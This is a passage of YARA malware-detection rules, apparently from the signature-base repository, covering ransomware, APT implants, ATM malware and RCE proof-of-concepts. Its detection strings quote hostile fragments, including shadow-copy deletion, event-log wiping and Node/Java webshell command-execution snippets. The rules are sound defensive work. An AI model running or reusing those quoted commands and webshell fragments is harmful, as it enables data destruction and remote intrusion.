              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
              ?? ?? ?? ?? 4d 5a }
		$x2 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac 
              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
              ?? ?? ?? ?? [0-4] 40 65 63 68 6f }
		$x3 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac 
              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
              ?? ?? ?? ?? [0-4] 40 45 43 48 4f }
		$x4 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac 
              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
              ?? ?? ?? ?? [0-4] 4F 6E 20 45 }
		$x5 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac 
              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
              ?? ?? ?? ?? [0-4] 6F 6E 20 65 }
		$x6 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
              ?? ?? ?? ?? 4c 00 00 00 }
		$x7 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
              ?? ?? ?? ?? 49 54 53 46 }
		$x8 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
              ?? ?? ?? ?? [6-200] 3C 68 74 61 3A }
		$x9 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
              ?? ?? ?? ?? [6-200] 3C 48 54 41 3A }
		$x10 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
              ?? ?? ?? ?? [6-200] 3C 6A 6F 62 20 }
	condition:
		filesize < 10MB and 1 of them
}

rule SIGNATURE_BASE_SUSP_Onenote_Embedded_Filedatastoreobject_Type_Jan23_2 : FILE
{
	meta:
		description = "Detects suspicious embedded file types in OneNote files"
		author = "Florian Roth (Nextron Systems)"
		id = "0664d202-ab4c-57b6-91ee-ea21ac08909e"
		date = "2023-01-27"
		modified = "2023-12-05"
		reference = "https://blog.didierstevens.com/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_onenote_phish.yar#L108-L125"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "bc07598570b6d4ebc5d14cedfed146c1ad309b8890bc0b9ee5f9ad645c1352e2"
		score = 65
		quality = 85
		tags = "FILE"
	strings:
		$a1 = { 00 e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac }
		$s1 = "<HTA:APPLICATION "
	condition:
		filesize < 5MB and $a1 and 1 of ( $s* )
}

rule SIGNATURE_BASE_Mal_Lockbit4_Hashing_Alg_Win_Feb24 : FILE
{
	meta:
		description = "This rule detects the custom hashing algorithm of Lockbit4.0 unpacked"
		author = "0x0d4y"
		id = "e91aedba-6f70-4ca2-9217-2991cbbc6e8d"
		date = "2024-02-16"
		modified = "2025-03-20"
		reference = "https://0x0d4y.blog/lockbit4-0-evasion-tales/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_lockbit4_hashing_alg_win_feb24.yar#L1-L22"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "062311f136d83f64497fd81297360cd4"
		logic_hash = "41497ea30a4cfdd111726a5819ec404a1eeba1693f5d6b89ac38558eb1c6bde9"
		score = 100
		quality = 85
		tags = "FILE"
		license = "CC BY 4.0"
		rule_matching_tlp = "TLP:WHITE"
		rule_sharing_tlp = "TLP:WHITE"
		malpedia_family = "win.lockbit"
	strings:
		$hashing_alg = { 41 89 d0 46 0f be 04 00 45 09 c0 74 ?? 45 8d 48 ?? 45 8d 50 ?? 41 80 f9 ?? 45 0f 43 d0 44 31 d1 44 8d 04 3a 45 0f af c2 41 01 c8 89 d1 31 f9 09 d2 0f 44 ca 41 0f af c8 44 01 d1 ff c2 eb ?? 49 ff c6 }
	condition:
		uint16( 0 ) == 0x5a4d and $hashing_alg
}

rule SIGNATURE_BASE_LOG_Proxynotshell_POC_CVE_2022_41040_Nov22 : CVE_2022_41040 CVE_2022_41082
{
	meta:
		description = "Detects logs generated after a successful exploitation using the PoC code against CVE-2022-41040 and CVE-2022-41082 (aka ProxyNotShell) in Microsoft Exchange servers"
		author = "Florian Roth (Nextron Systems)"
		id = "1e47d124-3103-5bf5-946f-b1bb69ff2c8e"
		date = "2022-11-17"
		modified = "2023-12-05"
		reference = "https://github.com/testanull/ProxyNotShell-PoC"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/vuln_proxynotshell_cve_2022_41040.yar#L2-L20"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7f91502fd9c59180970fc4253134582b44ba318db03ef4eb575257b2f3818d94"
		score = 70
		quality = 85
		tags = "CVE-2022-41040, CVE-2022-41082"
	strings:
		$aa1 = " POST " ascii wide
		$aa2 = " GET " ascii wide
		$ab1 = " 200 " ascii wide
		$s01 = "/autodiscover.json x=a" ascii wide
		$s02 = "/autodiscover/admin@localhost/" ascii wide
	condition:
		1 of ( $aa* ) and $ab1 and 1 of ( $s* )
}


rule SIGNATURE_BASE_APT_MAL_LNX_Turla_Apr202004_1 : FILE
{
	meta:
		description = "Detects Turla Linux malware x64 x32"
		author = "Leonardo S.p.A."
		id = "2da75433-b1c1-51b3-8f7a-a4442ca3de96"
		date = "2020-04-24"
		modified = "2023-12-05"
		reference = "https://www.leonardocompany.com/en/news-and-stories-detail/-/detail/knowledge-the-basis-of-protection"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_turla_penquin.yar#L2-L33"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1e07963c492f1e6264f01ee292e40b188ca325b76005d9d48e6dc198cb9bdcf4"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "67d9556c695ef6c51abf6fbab17acb3466e3149cf4d20cb64d6d34dc969b6502"
		hash2 = "8ccc081d4940c5d8aa6b782c16ed82528c0885bbb08210a8d0a8c519c54215bc"
		hash3 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667"
		hash4 = "1d5e4466a6c5723cd30caf8b1c3d33d1a3d4c94c25e2ebe186c02b8b41daf905"
		hash5 = "2dabb2c5c04da560a6b56dbaa565d1eab8189d1fa4a85557a22157877065ea08"
		hash6 = "3e138e4e34c6eed3506efc7c805fce19af13bd62aeb35544f81f111e83b5d0d4"
		hash7 = "5a204263cac112318cd162f1c372437abf7f2092902b05e943e8784869629dd8"
		hash8 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667"
		hash9 = "d49690ccb82ff9d42d3ee9d7da693fd7d302734562de088e9298413d56b86ed0"
	strings:
		$ = "/root/.hsperfdata" ascii fullword
		$ = "Desc| Filename | size |state|" ascii fullword
		$ = "VS filesystem: %s" ascii fullword
		$ = "File already exist on remote filesystem !" ascii fullword
		$ = "/tmp/.sync.pid" ascii fullword
		$ = "rem_fd: ssl " ascii fullword
		$ = "TREX_PID=%u" ascii fullword
		$ = "/tmp/.xdfg" ascii fullword
		$ = "__we_are_happy__" ascii
		$ = "/root/.sess" ascii fullword
	condition:
		uint16( 0 ) == 0x457f and filesize < 5000KB and 4 of them
}

rule SIGNATURE_BASE_APT_MAL_LNX_Turla_Apr202004_1_Opcode : FILE
{
	meta:
		description = "Detects Turla Linux malware x64 x32"
		author = "Leonardo S.p.A."
		id = "03043f59-c81a-5423-bec1-6cd88f6e3c52"
		date = "2020-04-24"
		modified = "2023-12-05"
		reference = "https://www.leonardocompany.com/en/news-and-stories-detail/-/detail/knowledge-the-basis-of-protection"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_turla_penquin.yar#L35-L66"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "19524e6ec3b0d49ff9c85ce361ef1922b92e4f7876ddb7d6c9b209b5357080e3"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "67d9556c695ef6c51abf6fbab17acb3466e3149cf4d20cb64d6d34dc969b6502"
		hash2 = "8ccc081d4940c5d8aa6b782c16ed82528c0885bbb08210a8d0a8c519c54215bc"
		hash3 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667"
		hash4 = "1d5e4466a6c5723cd30caf8b1c3d33d1a3d4c94c25e2ebe186c02b8b41daf905"
		hash5 = "2dabb2c5c04da560a6b56dbaa565d1eab8189d1fa4a85557a22157877065ea08"
		hash6 = "3e138e4e34c6eed3506efc7c805fce19af13bd62aeb35544f81f111e83b5d0d4"
		hash7 = "5a204263cac112318cd162f1c372437abf7f2092902b05e943e8784869629dd8"
		hash8 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667"
		hash9 = "d49690ccb82ff9d42d3ee9d7da693fd7d302734562de088e9298413d56b86ed0"
	strings:
		$op0 = { 8D 41 05 32 06 48 FF C6 88 81 E0 80 69 00 }
		$op1 = { 48FFC14883F94975E9 }
		$op2 = { C7 05 9B 7D 29 00 1D 00 00 00 C7 05 2D 7B 29 00 65 74 68 30 C6 05 2A 7B 29 00 00 E8 }
		$op3 = { BF FF FF FF FF E8 96 9D 0A 00 90 90 90 90 90 90 90 90 90 90 89 F0}
		$op4 = { 88D380C305329AC1D60C08889A60A10F084283FA0876E9 }
		$op5 = { 8B 8D 50 DF FF FF B8 09 00 00 00 89 44 24 04 89 0C 24 E8 DD E5 02 00 }
		$op6 = { 8D 5A 05 32 9A 60 26 0C 08 88 9A 20 F4 0E 08 42 83 FA 48 76 EB }
		$op7 = { 8D 4A 05 32 8A 25 26 0C 08 88 8A 20 F4 0E 08 42 83 FA 08 76 EB}
	condition:
		uint16( 0 ) == 0x457f and filesize < 5000KB and 2 of them
}

rule SIGNATURE_BASE_ATM_Malware_Loup_1 : FILE
{
	meta:
		description = "Detects ATM Malware Loup"
		author = "Frank Boldewin (@r3c0nst)"
		id = "2215a93f-d854-5f9b-b5cd-53962c45db08"
		date = "2020-08-17"
		modified = "2023-12-05"
		reference = "https://twitter.com/r3c0nst/status/1295275546780327936"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_atm_loup.yar#L3-L19"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "6c9e9f78963ab3e7acb43826906af22571250dc025f9e7116e0201b805dc1196"
		logic_hash = "5068c3f27cf821f512fb9a473d2bd45066d550f30fbc26f0cbebbe103e6f4ccb"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$String1 = "C:\\Users\\muham\\source\\repos\\loup\\Debug\\loup.pdb" ascii
		$String2 = "CurrencyDispenser1" ascii
		$Code = {50 68 C0 D4 01 00 8D 4D E8 51 68 2E 01 00 00 0F B7 55 08 52 E8}
	condition:
		uint16( 0 ) == 0x5A4D and filesize < 100KB and all of ( $String* ) and $Code
}

rule SIGNATURE_BASE_APT_MAL_RANSOM_Vicesociety_Chily_Jan23_1 : FILE
{
	meta:
		description = "Detects Chily or SunnyDay malware used by Vice Society"
		author = "Florian Roth (Nextron Systems)"
		id = "1be4adb9-e60c-5023-9230-07f5fd16daaa"
		date = "2023-01-12"
		modified = "2023-12-05"
		reference = "https://www.sentinelone.com/labs/custom-branded-ransomware-the-vice-society-group-and-the-threat-of-outsourced-development/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_ransom_vicesociety_dec22.yar#L33-L63"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "fc2967d86bf73033e68b8b9409a197ae8f7fcdf06e1e2a17e3d277d243caa541"
		score = 80
		quality = 83
		tags = "FILE"
		hash1 = "4dabb914b8a29506e1eced1d0467c34107767f10fdefa08c40112b2e6fc32e41"
	strings:
		$x1 = ".[Chily@Dr.Com]" ascii fullword
		$s1 = "localbitcoins.com/buy_bitcoins'>https://localbitcoins.com/buy_bitcoins</a>" ascii fullword
		$s2 = "C:\\Users\\root\\Desktop" ascii fullword
		$s3 = "for /F \"tokens=*\" %1 in ('wevtutil.exe el') DO wevtutil.exe cl \"%1\"" wide fullword
		$s4 = "cd %userprofile%\\documents\\" wide
		$s5 = "noise.bmp" wide fullword
		$s6 = " Execution time: %fms (1sec=1000ms)" ascii fullword
		$s7 = "/c vssadmin.exe Delete Shadows /All /Quiet" wide fullword
		$op1 = { 4c 89 c5 89 ce 89 0d f5 41 02 00 4c 89 cf 44 8d 04 49 0f af f2 89 15 e9 41 02 00 44 89 c0 }
		$op2 = { 48 8b 03 48 89 d9 ff 50 10 84 c0 0f 94 c0 01 c0 48 83 c4 20 5b }
		$op3 = { 31 c0 47 8d 2c 00 45 85 f6 4d 63 ed 0f 8e ec 00 00 00 0f 1f 80 00 00 00 00 0f b7 94 44 40 0c 00 00 83 c1 01 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and ( 1 of ( $x* ) or 3 of them ) or 4 of them
}

rule SIGNATURE_BASE_MAL_ELF_SALTWATER_Jun23_1 : CVE_2023_2868 FILE
{
	meta:
		description = "Detects SALTWATER malware used in Barracuda ESG exploitations (CVE-2023-2868)"
		author = "Florian Roth"
		id = "10a038f6-6096-5d3a-aaf5-db441685102b"
		date = "2023-06-07"
		modified = "2023-12-05"
		reference = "https://www.barracuda.com/company/legal/esg-vulnerability"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_lnx_barracuda_cve_2023_2868.yar#L21-L46"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "cb35898c0ee726170da93b4364920ac065f083f9f02db8eb5d293b1ce127cb78"
		score = 80
		quality = 85
		tags = "CVE-2023-2868, FILE"
		hash1 = "601f44cc102ae5a113c0b5fe5d18350db8a24d780c0ff289880cc45de28e2b80"
	strings:
		$x1 = "libbindshell.so"
		$s1 = "ShellChannel"
		$s2 = "MyWriteAll"
		$s3 = "CheckRemoteIp"
		$s4 = "run_cmd"
		$s5 = "DownloadByProxyChannel"
		$s6 = "[-] error: popen failed"
		$s7 = "/home/product/code/config/ssl_engine_cert.pem"
	condition:
		uint16( 0 ) == 0x457f and filesize < 6000KB and ( ( 1 of ( $x* ) and 2 of them ) or 3 of them ) or all of them
}

rule SIGNATURE_BASE_MAL_Compromised_Cert_Ducktail_Stealer_Jun23 : FILE
{
	meta:
		description = "Detects binaries signed with compromised certificates used by DuckTail stealer - identified in June 2023"
		author = "dr4k0nia"
		id = "b491e1b6-42c4-58e9-8efa-19e697804f96"
		date = "2023-06-16"
		modified = "2023-08-12"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_ducktail_compromised_certs_jun23.yar#L2-L37"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9b7916700359d662e99003727f5293f5a937254ff265c3bc8bb8763e196daa0e"
		score = 80
		quality = 85
		tags = "FILE"
		hash1 = "17c75f2d14af9f00822fc1dba00ccc9ec71fc50962e196d7e6f193f4b2ee0183"
		hash2 = "b3cfdb442772d07a7f037b0bb093ba315dfd1e79b0e292736c52097355495270"
		hash3 = "9afe013cae0167993a6a7ccd650eb1221a5ec163110565eb3a49a8b57949d4ee"
	strings:
		$sx1 = "AZM MARKETING COMPANY LIMITED" ascii fullword
		$sx2 = "CONG TY TNHH" ascii
		$sx3 = {43 C3 94 4E 47 20 54 59 20 54 4E 48 48 20}
		$sx4 = "CONG TY TRACH" ascii
		$se1 = {65 78 BE 85 2D 48 E3 3D 4E 48 B8 D4 73 F5 B7 60}
		$se2 = {1D 53 38 32 74 2B 58 37 87 C0 A2 53 32 F7 FB 06}
		$se3 = {00 BD 7B 85 B2 6A 69 C9 7D 6D 68 CC 95 67 34 C0 6B}
		$se4 = {06 5F 5C 57 0B D6 A7 98 92 FB B0 E6 34 61 3A 4D}
		$se5 = {41 55 3F 07 13 37 11 7A 99 B4 58 57}
		$se6 = {1E AA E4 CE E7 EE 89 FB 20 32 59 27 88 13 D8 53}
		$se7 = {56 DC DB 85 D4 89 F9 87 B2 D6 76 72}
		$se8 = {2D A4 50 57 C2 74 3C 1A 3C A4 93 7A}
		$se9 = {37 AE 95 F5 4C 8E 9B D0 B6 47 68 6A}
		$se10 = {3D C8 F5 3B 62 7A 34 07 AC 7E 01 00 13 87 A3 B3}
		$se11 = {01 C9 87 5A 5F A8 59 68 6D 34 17 C9}
		$se12 = {1B 35 19 E1 CD C2 6B 57 DA EE 06 C9}
		$se13 = {79 7D 0B 5E 22 AA 0F C7 A2 97 E6 48}
		$se14 = {57 9E 5C 89 B0 85 A7 96 B3 3C F3 19}
	condition:
		uint16( 0 ) == 0x5a4d and 1 of ( $sx* ) and 1 of ( $se* )
}

rule SIGNATURE_BASE_MAL_ME_Rawdisk_Agent_Jan20_1 : FILE
{
	meta:
		description = "Detects suspicious malware using ElRawDisk"
		author = "Florian Roth (Nextron Systems)"
		id = "0efaae51-1407-5039-9e5a-9c2f13d6a971"
		date = "2020-01-02"
		modified = "2022-12-21"
		reference = "Saudi National Cybersecurity Authority - Destructive Attack DUSTMAN"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_dustman.yar#L2-L24"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "90345b8358d72b6616c6277222fb1091cb3a88b844391ac3766e7d1ee1192fbe"
		score = 65
		quality = 85
		tags = "FILE"
		hash1 = "44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2"
	strings:
		$x1 = "\\drv\\agent.plain.pdb" ascii
		$x2 = " ************** Down With Saudi Kingdom, Down With Bin Salman ************** " fullword ascii
		$s1 = ".?AVERDError@@" fullword ascii
		$s2 = "b4b615c28ccd059cf8ed1abf1c71fe03c0354522990af63adf3c911e2287a4b906d47d" fullword wide
		$s3 = "\\\\?\\ElRawDisk" fullword wide
		$s4 = "\\??\\c:" wide
		$op1 = { e9 3d ff ff ff 33 c0 48 89 05 0d ff 00 00 48 8b }
		$op2 = { 0f b6 0c 01 88 48 34 48 8b 8d a8 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize <= 2000KB and ( 1 of ( $x* ) or 4 of them )
}

rule SIGNATURE_BASE_MAL_ME_Rawdisk_Agent_Jan20_2 : FILE
{
	meta:
		description = "Detects suspicious malware using ElRawDisk"
		author = "Florian Roth (Nextron Systems)"
		id = "9817fb22-7bed-5869-aa92-66c458b81c7f"
		date = "2020-01-02"
		modified = "2022-12-21"
		reference = "https://twitter.com/jfslowik/status/1212501454549741568?s=09"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_dustman.yar#L26-L50"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "73e4a88b749e3b2654e9021290932d2e556c29cfa772785b23bebad9f3a3f90a"
		score = 65
		quality = 85
		tags = "FILE"
		hash1 = "44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2"
	strings:
		$x1 = "\\Release\\Dustman.pdb" ascii
		$x2 = "/c agent.exe A" fullword ascii
		$s1 = "C:\\windows\\system32\\cmd.exe" fullword ascii
		$s2 = "The Magic Word!" fullword ascii
		$s3 = "Software\\Oracle\\VirtualBox" fullword wide
		$s4 = "\\assistant.sys" wide
		$s5 = "Down With Bin Salman" fullword wide
		$sc1 = { 00 5C 00 5C 00 2E 00 5C 00 25 00 73 }
		$op1 = { 49 81 c6 ff ff ff 7f 4c 89 b4 24 98 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize <= 3000KB and ( 1 of ( $x* ) or 3 of them )
}


rule SIGNATURE_BASE_EXPL_JSP_Commvault_CVE_2025_57791_Aug25_1 : FILE
{
	meta:
		description = "Detects potential exploit for WT-2025-0049, Post-Auth RCE with QCommand Path Traversal"
		author = "X__Junior"
		id = "73b1bab0-1206-55b3-a6cf-51742a9ce67f"
		date = "2025-08-21"
		modified = "2025-08-21"
		reference = "https://labs.watchtowr.com/guess-who-would-be-stupid-enough-to-rob-the-same-vault-twice-pre-auth-rce-chains-in-commvault/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_commvault_cve_2025_57791.yar#L47-L59"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "359b35ced874244901f64bc09456cfec7079421ef6bab58ea95a3b1887ecc858"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "<App_GetUserPropertiesResponse>" ascii
		$s2 = "getMethod('getRuntime').invoke(null).exec(param.cmd)" ascii
	condition:
		filesize < 50KB and all of them
}

rule SIGNATURE_BASE_EXPL_JSP_Commvault_CVE_2025_57791_Aug25_2 : FILE
{
	meta:
		description = "Detects potential exploit for WT-2025-0049, Post-Auth RCE with QCommand Path Traversal"
		author = "X__Junior"
		id = "facbe0e9-6fe6-5d90-87bc-2696f471dcb5"
		date = "2025-08-21"
		modified = "2025-08-21"
		reference = "https://labs.watchtowr.com/guess-who-would-be-stupid-enough-to-rob-the-same-vault-twice-pre-auth-rce-chains-in-commvault/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_commvault_cve_2025_57791.yar#L61-L74"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3375a33556a9b479f0c170de6e06c80ab0277f1356e4ac44bfe51d6a65a578fe"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "<App_UpdateUserPropertiesRequest>" ascii
		$s2 = "<description>" ascii
		$s3 = "getMethod('getRuntime').invoke(null).exec(param.cmd)" ascii
	condition:
		filesize < 50KB and all of them
}

rule SIGNATURE_BASE_EXPL_React_Server_CVE_2025_55182_POC_Dec25 : CVE_2025_55182
{
	meta:
		description = "Detects in-memory webshell indicators related to the proof-of-concept code for the React Server Remote Code Execution Vulnerability (CVE-2025-55182)"
		author = "Florian Roth"
		id = "6ce94e2d-64bf-5b1c-8f9a-1a22470cad76"
		date = "2025-12-05"
		modified = "2025-12-12"
		reference = "https://x.com/pyn3rd/status/1996840827897954542/photo/1"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/react_pocs_indicators_dec25.yar#L1-L19"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a4f27fc85807e8f94e6947523a09d87ceed0658334756a9724322181c3eecd20"
		score = 70
		quality = 85
		tags = "CVE-2025-55182"
	strings:
		$xs1 = "{const cmd=p.query.cmd;if(!cmd)(s.writeHead(400);"
		$s1 = ";if(p.pathname=="
		$s2 = ".writeHead(400);"
		$s3 = ".writeHead(200,{'Content-Type':"
		$s4 = ".execSync("
		$s5 = ",stdio:'pipe'})"
	condition:
		1 of ( $x* ) or all of ( $s* )
}

rule SIGNATURE_BASE_EXPL_RCE_React_Server_CVE_2025_55182_POC_Dec25 : CVE_2025_55182 FILE
{
	meta:
		description = "Detects RCE indicators related to the proof-of-concept code for the React Server Remote Code Execution Vulnerability (CVE-2025-55182)"
		author = "Florian Roth"
		id = "4e876c1c-41cc-57aa-9fe2-652f3a1e3ef2"
		date = "2025-12-05"
		modified = "2025-12-12"
		reference = "https://www.youtube.com/watch?v=MmdwakT-Ve8"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/react_pocs_indicators_dec25.yar#L39-L53"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "54854f6cf3d1f4f30fb6de8312a5969bd5bc0d8c7a047a9f0ef195551c1dc2c6"
		score = 70
		quality = 85
		tags = "CVE-2025-55182, FILE"
	strings:
		$s1 = "process.mainModule.require('child_process').execSync("
		$s2 = "$1:constructor:constructor"
	condition:
		all of them and not uint16( 0 ) == 0x3c3f
}

rule SIGNATURE_BASE_EXPL_RCE_React_Server_Next_JS_CVE_2025_66478_Errors_Dec25 : CVE_2025_55182 CVE_2025_66478
{
	meta:
		description = "Detects error messages caused by the exploitation of the React Server Remote Code Execution Vulnerability (CVE-2025-55182) in Next.js applications (CVE-2025-66478). This can also be caused by vulnerability scanning."
		author = "Florian Roth"
		id = "6f0e572d-8598-51e0-8197-09a6ea930b81"
		date = "2025-12-05"
		modified = "2025-12-12"
		reference = "https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/react_pocs_indicators_dec25.yar#L70-L82"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6e5d809cd436935324ad4cb657a66a1c257df13a8dd52ee5db1b803ad24560b3"
		score = 65
		quality = 85
		tags = "CVE-2025-55182, CVE-2025-66478"
	strings:
		$s1 = "[Error: NEXT_REDIRECT]"
		$s2 = "digest: 'uid=0(root) gid=0(root)"
	condition:
		all of them
}

rule SIGNATURE_BASE_EXPL_SUSP_JS_POC_RSC_Detector_Payloads_Dec25 : CVE_2025_55182
{
	meta:
		description = "Detects RCE indicators related to the proof-of-concept code for the React Server Remote Code Execution Vulnerability (CVE-2025-55182) as used in the RSC Detector browser extension but could be used in other JavaScript based PoC code as well"
		author = "Florian Roth"
		id = "62cc724e-f8eb-50d7-97f7-a63d74490eb3"
		date = "2025-12-06"
		modified = "2025-12-12"
		reference = "https://github.com/mrknow001/RSC_Detector"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/react_pocs_indicators_dec25.yar#L100-L116"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b51f4028662795ffcbf4c17c1b2cbad35a8fa64104aa5cfdaf24b13e9663eb09"
		score = 70
		quality = 85
		tags = "CVE-2025-55182"
	strings:
		$s1 = "process.mainModule.require('child_process').execSync("
		$s2 = ").toString('base64');"
		$f1 = "echo vulnerability_test"
	condition:
		all of ( $s* ) and not 1 of ( $f* )
}




rule SIGNATURE_BASE_Hvs_APT27_Hyperbro_Decrypted_Stage2 : FILE
{
	meta:
		description = "HyperBro Stage 2 and compressed Stage 3 detection"
		author = "Moritz Oettle"
		id = "039e5d41-eadb-5c53-82cd-20ffd4105326"
		date = "2022-02-07"
		modified = "2023-12-05"
		reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt27_hyperbro.yar#L35-L57"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6eb56c4a92e89977e536ccc3c70170062aca072c6981b40aeea184ea2ca461a6"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "fc5a58bf0fce9cb96f35ee76842ff17816fe302e3164bc7c6a5ef46f6eff67ed"
	strings:
		$lznt1_compressed_pe_header_small = { FC B9 00 4D 5A 90 }
		$lznt1_compressed_pe_header_large_1 = { FC B9 00 4D 5A 90 00 03 00 00 00 82 04 00 30 FF FF 00 }
